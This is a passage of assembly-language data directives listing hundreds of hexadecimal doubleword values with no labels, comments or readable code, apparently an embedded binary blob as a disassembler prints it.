0B2FF301Ah, 545326B6h, 0C878E101h dd 75858959h, 95FF5784h, 0B70F43AEh, 0D12A0CF9h, 0BA2869A4h dd 36A1DCEh, 7A03E851h, 0C359326Bh, 0D95F4C4Ch, 21171867h dd 0C3005141h, 28764DA6h, 6D9585C7h, 0C0217213h, 88054CBAh dd 0BD83112Fh, 0F02341Ch, 501EA84h, 0D1810F51h, 825A28B0h dd 3EF19822h, 2506F8B1h, 0D1FD9D89h, 0D335064h, 81016A07h dd 49312995h, 5369088Ah, 0C35B398Ch, 885C8911h, 53438016h dd 827802C3h, 0B46964CFh, 45B288A1h, 78711888h, 80801925h dd 3F4F52DDh, 4810F0Ah, 3DBF41F8h, 0B74ABD23h, 5505BB21h dd 0C35D4F21h, 8C6C89C8h, 3451544h, 4E47C355h, 15750DE8h dd 0AE8E3500h, 0AB95207Dh, 0C6C30C5Fh, 0D99CD2B7h, 68EC0741h dd 0F0128FFh, 3940FBBEh, 0A061D280h, 42087DCEh, 2F3E281Eh dd 0B116Bh, 0B0F3EC6Bh, 875D0013h, 0F9DA0D25h, 0B212EFACh dd 52604662h, 4085B509h, 0E9A05930h, 0E183EF13h, 25E50BF6h dd 6CE96124h, 2983519h, 4CD7AA8Bh, 2D41E986h, 78E46AD1h dd 90CB7250h, 0C12ACD64h, 884CD6CAh, 1850AF81h, 29C37258h dd 0C0FE4489h, 3DC35040h, 8B224B09h, 949B32D1h, 1C564693h dd 8988C35Eh, 401CC474h, 1BC35646h, 741F01EEh, 0B8C1142Eh dd 50152652h, 2748516Fh, 1FAA89D7h, 821491C9h, 92EE8A4Eh dd 0EA940730h, 408AA644h, 19E28F52h, 0C373A30h, 0E22074C9h dd 154159B8h, 0A46595D8h, 71F7F0EBh, 9AB93AFFh, 9383207h dd 0E518C6BDh, 0FA03B514h, 8C1BF8D4h, 43CEE800h, 7591BDB6h dd 3BBA0676h, 0E22992CDh, 1A16B920h, 39088F0Fh, 4002C784h dd 858B47B2h, 5E0C50BDh, 0D8134451h, 18B5054Dh, 8D17719Dh dd 0F1B828B5h, 51574659h, 7C89C8BBh, 184459A4h, 0C3570047h dd 0BEC0F29Dh, 0B55889E1h, 85596178h, 0FF009F8Ah, 867B0FD0h dd 29BD8988h, 0CD607B5h, 75DED68Bh, 0C90695D6h, 2F0FE8h dd 3AA3DFEDh, 60A666FDh, 0FE3D8F01h, 0F1214DB3h, 40496730h dd 0F3EE592Eh, 8100649Bh, 4569F5F7h, 8349A46Dh, 0D27928Ch dd 910889Eh, 649E371Fh, 85C22716h, 53A8A82Dh, 90800F42h dd 24F2B6BCh, 74A2C08Bh, 91241446h, 2390838h, 79085B24h dd 9758C1Dh, 2B442512h, 649DB074h, 0C4B87053h, 18AA5285h dd 9D8DA72Bh, 0BEAC3A2Ah, 585BD315h, 21178822h, 0A929E220h dd 0F4EA8A30h, 14CD33BDh, 0F053FC24h, 301CA2E4h, 0C21F55A9h dd 570EF8DAh, 0CA1F107Fh, 0F95083CBh, 0BAC8D88Bh, 53652602h dd 0A394ED8Eh, 9789F183h, 0AE504343h, 9C20C206h, 5B1920F9h dd 0E3F06626h, 89296510h, 19716DF2h, 35002A18h, 0E9C51D48h dd 37D7B3BFh, 864C206Fh, 5CFC2B13h, 0F70EBA00h, 1E2D6DF3h dd 5D3C390Ah, 0D1DBB983h, 84FC010Ch, 0EE6B5E57h, 5995040Eh dd 0F604207h, 17D8C682h, 2429718Dh, 669822B6h, 945039C1h dd 87675282h, 8922C35Ah, 0D49C54h, 80C35242h, 0C97D21E1h dd 0C40D20Ch, 5D0F4846h, 758D148Ch, 381CA479h, 68382A90h dd 0B5081821h, 56530E33h, 0F410E94Bh, 0D30083A9h, 0C8BB466Ch dd 4E83462h, 59B310A1h, 9B8815Ah, 81CD832Bh, 3E048AD9h dd 0B17BDD16h, 1818D95Bh, 89D0AF2h, 139136DAh, 82DC64FEh dd 0B9200520h, 4D8F3F1Ch, 6082BF5Ah, 0D42012E9h, 917793h dd 4055B70Fh, 821B3A29h, 0B4270902h, 5D38542Eh, 7B002ED2h dd 7A44F6A3h, 341E4Fh, 61DFCC24h, 56D39BBAh, 58DF2556h dd 8BCD01BDh, 89601840h, 0AF3475F9h, 531060E9h, 8139130Ch dd 523ED7A0h, 0AE082100h, 0D0F9B697h, 0C76104F5h, 0A3174985h dd 7C26460h, 8C92340h, 0D82CCF46h, 3102DACh, 0CED6BF85h dd 123C22A4h, 45398D31h, 28C3D00h, 1F9831Ch, 0D206085Ah dd 6CE9B5F3h, 0D18D9921h, 7B61815h, 0FFB9663Dh, 5F965592h dd 73A7A236h, 0EC601B44h, 0D60159F2h, 69689537h, 21800CE8h dd 0BFC67BBBh, 11E7A9Eh, 0E10BEC6Ch, 5E9848Ah, 0BADFE058h dd 0F107904Ah, 135EF59Fh, 1823203Ah, 0CF565E01h, 0A520A368h dd 510C58EDh, 2A119DC2h, 0F234AEC4h, 57C168EFh, 14572DA5h dd 0F75269E5h, 950BD101h, 0BE242391h, 710E60E9h, 0D7130203h dd 0F0C5EA00h, 157A4A7Ch, 0AA7216ECh, 11423F5Ah, 0C6F80BC6h dd 52E00B42h, 0E205815Fh, 4B3FDA25h, 6165BE1Dh, 0FB73C06Dh dd 0D5301DA2h, 4E7500F9h, 10A65697h, 83033BCEh, 850FFFF8h dd 8B2D1259h, 4DA404C8h, 75A26404h, 733016F2h, 0EB2D4C3Ah dd 31F6E914h, 58A4D03Bh, 19467E91h, 0BBC2FC01h, 90F235F4h dd 2E2201C4h, 0BE666007h, 89B4ECC7h, 17C86098h, 861E288h dd 15BB0CD2h, 7006068Ah, 99B5E988h, 1EFD88FEh, 0F17A8E3Dh dd 0C6F52AFFh, 14D18C21h, 3998B218h, 0FC3FF848h, 0E10747DDh dd 920B07DDh, 7CAD688h, 8BB10F3Bh, 40A5BA2Eh, 433302E3h dd 898A6F1h, 0F4CCCF1Fh, 228D5F01h, 851033B9h, 311FF7A0h dd 827736BDh, 73FA9859h dd 5B34E936h, 0F5A82030h, 0BF664005h, 17253E08h, 1823183Ah dd 0BB5C5401h, 14741E9Eh, 6C34646Ah, 5071E091h, 32848CB0h dd 0D5208398h, 731A131h, 0C0620760h, 0DB8C66E5h, 448C3F6h dd 76FC223Dh, 6A4159C6h, 52685601h, 8A9CA8B8h, 8A02F15Eh dd 6438FA42h, 46A2E64h, 77101021h, 25816469h, 0D6940B71h dd 68472D20h, 18AC119Bh, 2904E6ECh, 11EF08Bh, 2661684Fh dd 9D07EE2Fh, 0D6C773B8h, 530C7D07h, 1856286Ah, 75C02985h dd 6802BA75h, 0DB876498h, 0D0C82AB4h, 684C5824h, 2BE7A439h dd 8B472080h, 895F0BD4h, 9A41045Bh, 0A545710h, 3C7C215h dd 851DDBAEh, 4020C43h, 0CBA18507h, 0A1024174h, 0B5942E47h dd 4211948Bh, 68458067h, 40A5F797h, 14435592h, 0AB026799h dd 750A280Ch, 0B46D6032h, 524EA1A3h, 28E60C32h, 85C5F394h dd 9A303416h, 388F2BC3h, 768B135Eh, 4D839BB2h, 0D00BAAEDh dd 68212DF4h, 0F5BD234Ah, 503D2E38h, 0E41E8E2Eh, 2944C0BBh dd 0B2BA79B5h, 0FF645A08h, 8DD6B135h, 7D413C95h, 0D258928h dd 79200BB0h, 27B5F822h, 222E1651h, 0D2A833C8h, 22332C69h dd 9272DAFh, 48B111AEh, 26407EE9h, 5B24EA80h, 0BA6C54FEh dd 62953A40h, 80E9D129h, 0DB332348h, 465EC694h, 9C300016h dd 0FCC0335Eh, 3F0F0240h, 8F640B07h, 507D9492h, 0B5011ABBh dd 0F6C77B89h, 75601844h, 0AE2C793Fh, 0FF0735B6h, 0CA3EFB83h dd 600B4A84h, 610A81B5h, 0DDA008E9h, 3021208Ch, 4205D481h dd 4E79E7Fh, 0FE601AE4h, 270BAF56h, 0A223AA8Ah, 609C4767h dd 77F91F1h, 0C244C8Bh, 3BA4D6C7h, 8303FF67h, 5015B8A6h dd 36C39F04h, 8A305C8Bh, 815D10E1h, 2E1624EDh, 838B0549h dd 0CA2B8CB8h, 668919C8h, 0E3B44F5Dh, 405630DCh, 0C0CFF7CAh dd 0F1207BB0h, 18335C21h, 0B2A20E27h, 15D22E31h, 81890C60h dd 17B4FDF2h, 1500EA8h, 0A9514AF6h, 39C24160h, 8F2C050Fh dd 0C01642D5h, 0BC3BA66h, 130A60B9h, 55D704B8h, 64054818h dd 1BB0DA6h, 8685D465h, 61B640BAh, 0E8EAF4BBh, 0ED0C5F67h dd 5868FB70h, 7556124Dh, 1FA9C20Ah, 58540104h, 78810FE1h dd 13888403h, 3873C856h, 1DF81100h, 485BA135h, 29FE0173h dd 0F59DE98h, 82996883h, 930659Dh, 1B64BCC7h, 91B49060h dd 0FC5EAE07h, 0C6AB2DEBh, 0E7813B6Eh, 241734D8h, 10C23F5Fh dd 109F043Dh, 5EA1880Dh, 42082087h, 0F260C4A9h, 240C00A4h dd 345AEFA4h, 3A797180h, 63036A90h, 0AE77BAD7h, 858BD9F8h dd 25B0355Dh, 91129761h, 0A5C7801Ch, 1394E7Fh, 0E712D436h dd 2CDDBD8Bh, 295705B3h, 20925D95h, 0E989815Fh, 0D906013Ah dd 387720E1h, 5BE13571h, 78458001h, 3706563h, 6E6F6974h dd 669B4920h, 616D72B0h, 50800CA3h, 73F2656Ch, 206F2CE6h dd 0A7648E08h, 39DF6874h, 99C76C36h, 67F96977h, 64E963F9h dd 28BE73FDh, 619BFBF9h, 52786440h, 2ACE2EFEh, 5420836Dh dd 6B163B68h, 75BF793Dh, 40D0A9Bh, 280131FDh, 73469870h dd 1D544362h, 7F2B4C52h, 699ED1ECh, 64971ED9h, 0A18FA0B6h dd 879702Ah, 0BF696C3Ch, 72618562h, 36102964h, 65561F42h dd 9F997354h, 25DE3DDFh, 80431E72h, 496B6387h, 640FA94Eh dd 55234F1Ch, 72508754h, 211DFA6Fh, 193B6D0Fh, 69E6010Fh dd 0F3DA174h, 0CA5B1EC8h, 188E8D50h, 3F201E1Dh, 13D12CBDh dd 12D62FFh, 5920255Ah, 0E5062A7h, 6826A6C3h, 80805C25h dd 24276936h, 212FD614h, 7E02819h, 1632BBB1h, 2248BD7h dd 11A759ADh, 0AFA3109h, 0C4E42125h, 0F0216BE9h, 35A736C2h dd 54E2F810h, 0E2F49035h, 0E890353Dh, 903545E2h, 154CE2ECh dd 0E5080C23h, 0A2E90B1Fh, 3DBD7910h, 0CA3A0D48h, 2D880D95h dd 11854227h, 7DEA8229h, 0C2810022h, 0E9811CF8h, 8D17FE7Dh dd 52FE8895h, 40283460h, 7F3BD4C3h, 13852589h, 0A1DD792Eh dd 8B155591h, 0C317139Dh, 3413C54Ch, 50116265h, 210FE411h dd 0F2F01054h, 0FF41158h, 0E8115C21h, 559FDC52h, 68A2AF0Dh dd 5A29CD28h, 19EC0C32h, 86F40CE8h, 0E421F043h, 0A50E091h dd 0A1C93DAh, 84073012h, 161E23A5h, 62B8BC3h, 6A24C4D5h dd 0FC292440h, 0CE49192Fh, 9601F023h, 0C18B61B8h, 3B236860h dd 45CEAE66h, 4F0E437Eh, 0E10076Bh, 4028B904h, 0F78C16BCh dd 89E082D2h, 69042B2Dh, 0D6EB4014h, 0E828CD61h, 58E0A070h dd 4B8B003Ch, 2F62A5A0h, 205EEE42h, 79E95121h, 0FA3883F8h dd 1FB500D1h, 5E9C65F5h, 0BE126661h, 0CBCB7BA2h, 4CC31DC8h dd 0B8B083DEh, 41AB27h, 666087D4h, 61B9C1BBh, 0F29372B4h dd 1122368Ah, 40B95600h, 5E32D81Dh, 84A097E9h, 6BD68166h dd 0DF8CB607h, 0F791A1B5h, 7B2404C7h, 0B629D277h, 269FE0A1h dd 487F69h, 80BD657Ch, 0FF2BE1DEh, 1744DAA7h, 0C915D960h dd 0AE93A11h, 0E311C500h, 0AFD8A8DDh, 0DCE8A912h, 36AE1202h dd 74A45C21h, 6B001B46h, 2FEDAA74h, 0C6004CC7h, 507BB293h dd 7896B966h, 0C1F54B69h, 2DD37878h, 6C2F9782h, 1A001723h dd 80F2ED7Fh, 0EF0B50D9h, 414507BAh, 0F21697BEh, 0A95B6172h dd 15716D21h, 72DB6119h, 3D1C00DCh, 4FE666BDh, 3CF900CAh dd 0D9F132DAh, 0EAEC8485h, 8B784A0Ch, 5E1EEC4h, 1CDB40Ah dd 0F0F1F6EBh, 1455DD9h, 0CA120967h, 1407E9CEh, 619FD601h dd 47D6B0B4h, 631D4438h, 4EA89029h, 0B63F044Ch, 0E653C1D1h dd 880F1307h, 0BA0998B2h, 11C23438h, 1979B259h, 0C409D818h dd 40CB026h, 614114ECh, 0FC111874h, 0FA72F3CEh, 574C6600h dd 9E0DA12Fh, 4EBEC38h, 0C88B5ABEh, 84E0810Bh, 683FA4C1h dd 4BC81FDEh, 7BDA834Fh, 309DCF4Eh, 4FED4AEh, 6A4CAB00h dd 0F281611Dh, 3CE33CF6h, 8D8F005Eh, 1E71ABBDh, 11099D9Dh dd 0AD2E831Dh, 0C42CB053h, 0CCCF007Ah, 0FFC68118h, 585B334Ch dd 66BA4DEEh, 0D0E7F1F6h, 8F510FD6h, 1C72154h, 3C57FC13h dd 981027A3h, 8B60F96h, 0C8FE0140h, 0A875B011h, 9E5F0212h dd 0DE6259Dh, 2CCB8B3Ch, 0E944E58Ch, 0D000DCE9h, 0DF49837Fh dd 61F82FEFh, 924026BEh, 40B00C2Ah, 490BBA72h, 3D2CC71Dh dd 0CBB5A586h, 40BD0E90h, 2CC3C6D4h, 7D892990h, 895E30D1h dd 0D90806Ah, 17C4A760h, 76E1132Fh, 8174CC34h, 0F072DE00h dd 0C28B608Fh, 3F184EEBh, 0BE91993h, 0E6576085h, 20884E1Bh dd 6131379Eh, 0E6E9E4C2h, 6032AC68h, 0F6040814h, 984FD12Ah dd 61E9C324h, 0B58B21F8h, 818F8ED6h, 18F00DE6h, 0E81A222Eh dd 0B382FF44h, 3B1889F2h, 0F39DAB5h, 51E96E86h, 97D820C7h dd 6FCF3622h, 8C042298h, 0A0324C8h, 2A10FC94h, 0DABB29F5h dd 52908592h, 580A1886h, 6741C9DBh, 0C61EF707h, 44C62404h dd 70FF50CFh, 0E6B80827h, 2091254Ah, 0E020010Fh, 163390FEh dd 0D1531CC0h, 0ED896653h, 2098AFCh, 9E5535Bh, 821C4C74h dd 0E0844328h, 0C153BB44h, 0E380CBEFh, 84C38D03h, 760B4B38h dd 61E5C7CFh, 1B84F32Fh, 0A2E6448Bh, 89C59198h, 18C70657h dd 1634578Eh, 29012333h, 91A25BBDh, 80600BA3h, 31A1A43Eh dd 0B7A1BB40h, 0B01C763Ah, 0A4ACB101h, 0C88AAC60h, 32C33902h dd 0AACBD103h, 4022D20Bh, 0A4A1901h, 16E5D6C9h, 0D4DDF023h dd 52091011h, 7D82D48Bh, 6261087Ah, 0AA2140E9h, 58E13F80h dd 5A545F8Dh, 513753BCh, 0DB243256h, 0AC8F4BE8h, 0D3D1D840h dd 0BC0DC381h, 0B037465Ah dd 0B49D1E7h, 5E89791h, 595EC38Bh, 98605BC2h, 0A311E97Bh dd 2AEA2B2Bh, 8C04477h, 35DFE4E7h, 0A8D80F03h, 293C2904h dd 167B92D4h, 58EA89A8h, 85338F60h, 0B28D217Fh, 0BD068777h dd 388983C8h, 3F4B23E9h, 7E8BE5CCh, 17050240h, 899B46F3h dd 14192192h, 46ACFE3Ch, 30A3941Eh, 0E9AE88E4h, 0DF698768h dd 721276A4h, 0C7A4D00h, 26CAB2B8h, 6BBBA945h, 20307707h dd 3B46C8D1h, 820FF70Ah, 0EA488DF1h, 0BD280814h, 28284C94h dd 512456B8h, 2C201353h, 670C4A24h, 842D3CC2h, 4400AC9h dd 32133498h, 0C3C1D809h, 671C0A08h, 5B051CEAh, 37105E59h dd 3A071098h, 7452C18Bh, 0CA82FF8h, 43840225h, 9A11057h dd 99B2204Ah, 0C300386Ah, 3F52A4A9h, 130B8B7Ch, 0A25EF5BBh dd 9E7001A8h, 0EFAAAE25h, 4995BC0h, 3A8D9A66h, 8FDCC107h dd 0F6800071h, 48BB27F1h, 3E8B7680h, 0B000A1B9h, 0C78113EAh dd 0FFD5B87h, 0B5F58008h, 0B7D9EF20h, 11983D47h, 0A644F22Eh dd 6743F700h, 0B95796h, 74A31811h, 0FC523E89h, 0EE835A0Ch dd 60C46C01h, 0EA81024Eh, 0A714BC1Fh, 22A24B5Bh, 0D68007BFh dd 31CBFAE0h, 41C3958Bh, 8060C904h, 0C4636B11h, 0B94FE1h dd 0D30916F5h, 0C006679Fh, 85D29C00h, 70803F20h, 6BD7CB4h dd 0E14C1A93h, 91F0407Bh, 27487700h, 0F1471CE0h, 5F28C1A0h dd 82CB901Eh, 5CC49540h, 7B38878Ch, 0D4F6B340h, 7420C09Dh dd 0EDC9CEAh, 133AF500h, 0CDA1F783h, 695D07A5h, 60919359h dd 5E4A6B87h, 0A2CAAF00h, 0B44810DAh, 97AA00F7h, 777BA302h dd 8A392F4Ah, 244D11Ah, 0A5864128h, 66E031A8h, 8120F630h dd 0F5E4F1Ch, 69BDAF78h, 18C5C086h, 63F0E08h, 489A1D8Eh dd 6200A354h, 4453986Bh, 16B30AF8h, 4394C204h, 307CA3B7h dd 181CBB3Ch, 6510A5A2h, 31ADFE06h, 32188601h, 3AC9019Ah dd 1A8C48h, 92A7FC70h, 9110F46Dh, 11089F07h, 0E35642E7h dd 1A650029h, 468CDA86h, 0E254600Bh, 0A08875B0h, 0E3C70A8Bh dd 8CF8A80Ch, 5348EA12h, 513E67F8h, 0E4BC8A9h, 0C0354B0Dh dd 939E62B1h, 9F400195h, 5DC45CB3h, 71C847CCh, 0ECF4FCF2h dd 0B60B4BDCh, 889592B5h, 8B45E8BAh, 0F20C046Bh, 0FC10BF1Ch dd 18DD7630h, 0A09EC76Bh, 275C9DCh, 73B3F652h, 9C87B620h dd 0DF1FF0FCh, 0F326C0Eh, 1089294Ch, 0FB888407h, 0EC08801Eh dd 0F9A81100h, 0A0CF192Eh, 7AEB0E61h, 22408993h, 5099AB7Ch dd 5C667800h, 309AB90Fh, 0AD691CA6h, 0D552C0C1h, 1F2C8F8Ah dd 54374A00h, 0B4578E0Dh, 884E3EDEh, 91EF780h, 0BA2A1A7Fh dd 93C74C00h, 33F2A356h, 0FD1000CDh, 520C8922h, 9EE8B9A9h dd 13768A00h, 21086B4Eh, 0AD793A46h, 392D5F82h, 0C5C11D68h dd 0BB945083h, 0E300712Ah, 2E01F99Fh, 5F6D12h, 0A78E7577h dd 0F7501BCCh, 4687A801h, 7D180B33h, 1E62ACF4h, 0C0237A49h dd 5F1B4231h, 0E103A2FDh, 88BF993Ch, 4A9DD021h, 61491E75h dd 0C0EF80BCh, 0DBB66527h, 4FD4A254h, 0BA466E0Eh, 2B5940B9h dd 9542EE2h, 0F37D9E19h, 0B0FF1100h, 0B40C0458h, 0F1B62422h dd 0CD782Bh, 0F8386870h, 0E096F5B0h, 0E1038A71h, 0EF470415h dd 4B1B90A2h, 1790020h, 36FA4A85h, 0AC00F08Dh, 77588A25h dd 1B61B60h, 0DFD7CB9Ch, 0D5195067h, 70ACF170h, 3A00B8CDh dd 0FD8F6B7Eh, 77D7685h, 0A6759E3Dh, 9043204Fh, 2006C37h dd 42F7F615h, 0A7EB2Dh, 1FB86D16h, 9C8651Dh, 0E660F900h dd 16E18DAh, 9E8F0135h, 0DD84C02Ch, 0D1C45094h, 0C8E1056Fh dd 9F516B7Ah, 0F6AAD080h, 354ABC00h, 0D96ED0A9h, 0BEF200C1h dd 93E6F152h, 0DF609915h, 9DB84B40h, 0E32500DCh, 0E0D0364h dd 0F701A610h, 9FCE1835h, 4720BD5Fh, 1BB00FEAh, 0DAA02EDDh dd 0D5D59C5h, 26A0AF00h, 0EDC26093h, 88B71263h, 8244078Ch dd 758F30E2h, 6F1C28D6h, 24C23956h, 80927EA2h, 0F2820CE4h dd 0FA7975F0h, 0AE8A0070h, 9834225Ch, 19093EA0h, 78FAB46h dd 0B8955628h, 0EBDFF804h, 9EF3C90h, 0F0209012h, 3B29CFC5h dd 0FA20B94Eh, 0A3D46934h, 161A3100h, 7115A4EAh, 5D1E0001h dd 20AFD267h, 0BC00B538h, 0C8478288h, 46E345h, 4E32DF93h dd 783C1C96h, 8CAAC900h, 9036CB97h, 0AFFA019Eh, 226BB454h dd 0E5C88093h, 7C082370h, 0D0A007Dh, 39E646A3h, 0CD03EE3Eh dd 0B7F40581h, 4B29A09Bh, 0E14A01BDh, 0FE67D232h, 0AB0DC40Fh dd 1734F403h, 0C77C8355h, 9D1AD3D0h, 2F880195h, 23B30559h dd 0AD98E0F5h, 41361C03h, 0C8EA022Ah, 0F4D4CDh, 0CE44DB8Fh dd 0DEF2141Fh, 76CA658h, 0CC717409h, 233CF570h, 0C288009Bh dd 0C4927606h, 0BA00B8D1h, 244CB4D4h, 744140D3h, 64CA00ADh dd 64A04E0h, 460A147Ah, 0CBDD4702h, 0FA870B00h, 0FA8E7CFFh dd 32CC00C9h, 0E40D6B64h, 740075F9h, 39BB4C12h, 0B7CA93h dd 0A39C0C57h, 0DF1C2DFAh, 6012C606h, 7021C9F7h, 0C8391FDAh dd 13178055h, 0CF1DD91Ch, 0AC4D6C3Fh, 0D10B7A40h, 0AF1D8012h dd 1E6438h, 471517B3h, 0DEE20D9Ch, 0A435B400h, 62758D0Ch dd 1C747692h, 410112E4h, 0E7602CCAh, 0CC25DD23h, 2AF43FCBh dd 0B63B770Fh, 13FB60A3h, 120B7Eh, 3F9F972Dh, 8CDB20A0h dd 0F7AE1500h, 49803DC3h, 0B74703B0h, 1F348DE5h, 293EC1F0h dd 6ADCD51Ch, 0E7C021DCh, 9F9A9454h, 0B087E614h, 890A00BDh dd 0EE386311h, 0C00C85Dh, 0A5DFCF26h, 7F1C35Bh, 0B52BB26Eh dd 0FF83038h, 3D3A5DE2h, 484DA9h, 0CC056D7h, 0EAD2D7Ch dd 3F7EB468h, 1001E500h, 0F2592C37h, 80643B5Ch, 3E3A1DCFh dd 44833A9h, 466D9920h, 0F69C80EDh, 0FC790189h, 95049490h dd 0DB9171D9h, 84DF24D0h, 0A0F698F5h, 7D669DA8h, 210D00A6h dd 3CC73F34h, 7B0055A4h, 35A2FCE7h, 4EE5B31h, 53144CDEh dd 43C4902Ah, 910088AAh, 0DB3E2B46h, 26E1F741h, 4C5B97h dd 6A749481h, 7F0050B7h, 1D888715h, 1C7877F8h, 80D184F2h dd 1E39900Bh, 0EFA2CD27h, 0F3921040h, 0A082FF02h, 41F9A288h dd 66D4D567h, 0DEE713B8h, 0C9CF188Bh, 0B5005FA3h, 0DC7A7D74h dd 0A5651Bh, 0CE503EA7h, 0F837E64Fh, 3945501h, 74B3C8A3h dd 62ECE8h, 2575F21Dh, 4B9F1907h, 55AF901h, 78D10FFBh dd 0EE1A6830h, 0F790014Ch, 64890B24h, 4356202Eh, 8021442Ah dd 0E426DB01h, 2F53CE65h, 0F29532E0h, 820526B1h, 0B3980170h dd 78CE4591h, 0CCC0007Dh, 0B09943A5h, 0AAD20093h, 0CA98DC9Ah dd 66005EEDh, 60F4D5D6h, 58A01E69h, 7A002E90h, 0D0BF65C4h dd 4D1C336Ah, 53C05EDFh, 42753F30h, 3DA200FFh, 0A1B70F68h dd 6E008CD3h, 9E5EA7F7h, 0E14ACD5h, 1C5484A9h, 37436FC0h dd 880B01A6h, 2165CA26h, 0F9DF90B0h, 7304FB45h, 5881E3EFh dd 28300679h, 57B4079Fh, 10B2679Ah, 5CF10AFAh, 16243Dh dd 0C7E1384Dh, 9887B02h, 3AC5E673h, 0F8CFB906h, 0ABB92605h dd 0D840D919h, 97800C91h, 0FE09A15h, 2407EF7Bh, 0FE47F68Fh dd 52CD61C6h, 0C1AF3055h, 0B0C05100h, 3AEFE582h, 44AF094Dh dd 26070412h, 0C94EE0C5h, 0B008085h, 0BF3B48FEh, 0F85E40h dd 0B91E537Dh, 77DCC243h, 9ED3FD17h, 71B7EC04h, 8F69A080h dd 67C6F0B9h, 877F1199h, 14E8C190h, 7C042801h, 99F05F00h dd 71A7D53Ch, 1CF5744Ah, 80E23963h, 0E9A1B8F2h, 0AF034298h dd 36889104h, 5F99F013h, 34AE6EFh, 0C014A7FDh, 500487FCh dd 8E623CE0h, 0DF00F2ECh dd 9F818AF7h, 1E1F3EDCh, 7E00E87Dh, 0F99561CBh, 1677EB8h dd 0E6698EB9h, 42DCFF14h, 500C64Ch, 0C04871A8h, 0BC4A66A0h dd 0BF54D60Ah, 9C5042B8h, 0D14C043Ch, 40F30056h, 0CFDCB5B7h dd 0CEC4Fh, 3B52EF2Fh, 7078E504h, 0DAA25400h, 0A948D888h dd 0EA950CF0h, 0C94886C1h, 5098B630h, 9480A773h, 0F63F0074h dd 76C0EDEh, 8804484Ah, 244AD061h, 0F5223B14h, 42473C22h dd 7E201165h, 0B4009722h, 8D84E54Fh, 3F2B8C8Ah, 4E1FB575h dd 774F020h, 0A4000608h, 63B89313h, 0DCD744h, 0A6222D72h dd 4F491715h, 0DDC93B28h, 0A4E00B38h, 0A02F076h, 526DDC2Bh dd 0BA14712Ch, 9AA70034h, 0B8E5A86Ah, 7361366Dh, 11906819h dd 3BB6FC20h, 3E850953h, 802C285Bh, 5CC5E7ACh, 0F80538h dd 0A6E39518h, 3B6EECCCh, 0E198F110h, 829B287Bh, 799EA51Eh dd 0C3A15ECAh, 0D0A64707h, 0BFAC4C20h, 16A75897h, 34527500h dd 0FE716174h, 4EB11303h, 0B8FDD0C2h, 10B5A12h, 0FA0FAF11h dd 0F01EDFF2h, 433AC4BBh, 4844ACD2h, 0BD03A00h, 76528Ah dd 0E498A932h, 3097EBADh, 80804238h, 8EDDCB84h, 7690DC2Dh dd 22FC00ABh, 7D9B17A9h, 840FEBF1h, 0E78002A3h, 30E0DC10h dd 12A681B3h, 40A52907h, 0D9FF7034h, 0E1001C27h, 0C643CF1Eh dd 0E6DA3Bh, 947F5193h, 92477977h, 6A7AD27Bh, 0F6047D00h dd 0C1176DFAh, 5B2200A7h, 0A60653E8h, 0A26AA9Ah, 460020CEh dd 0F3828B99h, 904C51F1h, 4EFC1C25h, 1DF0944Fh, 36B940C3h dd 72780E04h, 10D13314h, 80AB3CD4h, 265ACF83h, 960774Dh dd 0B2B6D855h, 296F0C80h, 0C6048D4Eh, 88668514h, 0CA375900h dd 5203B93Ah, 0EBB31C5Bh, 0CC0FB33Dh, 0D0DC1483h, 32BA1D5h dd 1F9EE9F7h, 7100C92Fh, 175E08E1h, 92325D91h, 0F898002Ch dd 291EDEF9h, 9212EFBFh, 2800E285h, 679C9A3Bh, 2C7E4956h dd 0FC09F601h, 0C3BA665Dh, 29A8EBC8h, 689F1C00h, 0E8489825h dd 1FD300F5h, 0AD6A3EDh, 0AE002682h, 0CB73DE1Eh, 3A86CB3h dd 2F4BB7D2h, 6800F85Ah, 4A7C2EE7h, 7A70109Eh, 0EFAEC0Ah dd 0B13D34D8h, 0E9E1F680h, 0C17D1B11h, 5800A898h, 0AADE807Dh dd 381DEF99h, 0BCD0BA37h, 9FEA4Ah, 0A0F8C26Bh, 0AEA4DEB0h dd 9A0F1900h, 0F380A8CFh, 0BED6008Fh, 0F1564F13h, 0EC2C6B3Fh dd 951CDCF8h, 1CDD7780h, 2CA4A266h, 40D44D43h, 0E00E57F6h dd 0BCFE1F02h, 80F0AAEBh, 1A74EFC0h, 779EE406h, 0A4B04Dh dd 2D82A0D3h, 75C8F7A3h, 4201E890h, 0B070F423h, 0F0F85E9Ah dd 0ED250159h, 0A2CC2E47h, 1BE050B3h, 8CA0F303h, 17052DB1h dd 18A66B8h, 331DC000h, 2129A1h, 0CE498E2Bh, 0BF53E684h dd 0DA1B7C01h, 0F6CD582Fh, 0E900042Ch, 87D44F54h, 29003679h dd 2DEA1AAFh, 7D1E242h, 0BC100955h, 3F25409Fh, 0DD009EC1h dd 273CE26h, 13F90B1Ch, 40C0AFh, 17087F6h, 1A04CC5Bh, 338CA19Dh dd 0CF04B0h, 9B8F6A5Fh, 28ECD732h, 0A9E06600h, 10696E67h dd 7AAF00E3h, 344A9737h, 620FCEF0h, 64A48E06h, 0A380CBFBh dd 822D1Dh, 0F99EAB48h, 0A11CDF78h, 0FE861E1Ch, 0AD9F0840h dd 0D80EF8h, 0D56A3842h, 0D259EFCEh, 8A48B2F2h, 563D098Ch dd 6C54217Bh, 72C2D10Eh, 0B5D50068h, 0CEAD0337h, 0F80BDDA3h dd 80205583h, 9632249Ch, 1F770151h, 5661FEE9h, 6C3C7473h dd 0E3798300h, 570525Ch, 89361207h, 8190439Fh, 0E0941AE8h dd 86002704h, 848902EEh, 1C4E3073h, 920E1F5Ch, 0D0F4009Dh dd 0AE7C773Eh, 0D536320Ch, 0E3B99Eh, 0EB91D659h, 4079051Ah dd 23A8C001h, 9CEE55Eh, 7A2E60h, 4DC86DEDh, 0F3DF2EADh dd 0AB048376h, 44746298h, 82588C90h, 0A8A2070Ch, 0F0F37DADh dd 0D7301D8Fh, 6989C100h, 0F7129C26h, 76BF70F8h, 53CE008Ah dd 0A010434Dh, 0DC718DF9h, 3E789Ch, 0CEC2DA2Eh, 98B8C795h dd 1167304Eh, 2640D928h, 4766E900h, 751D3810h, 0B6D039Bh dd 0DEFD581Bh, 28A967C9h, 3BD20074h, 24260E7Fh, 2E7200C5h dd 62C0BBD1h, 3A05030Dh, 718D6F5Fh, 5AEFDC00h, 6007EDC7h dd 0D8751072h, 0B10F2BF9h, 0C096B876h, 68D1B227h, 0B49E0779h dd 0E0835364h, 0ACB11222h, 0B3E29D03h, 8888D365h, 266F392h dd 26D2E0EFh, 70C358ECh, 0BDD1C1F3h, 0FE18302Fh, 9A5CFA03h dd 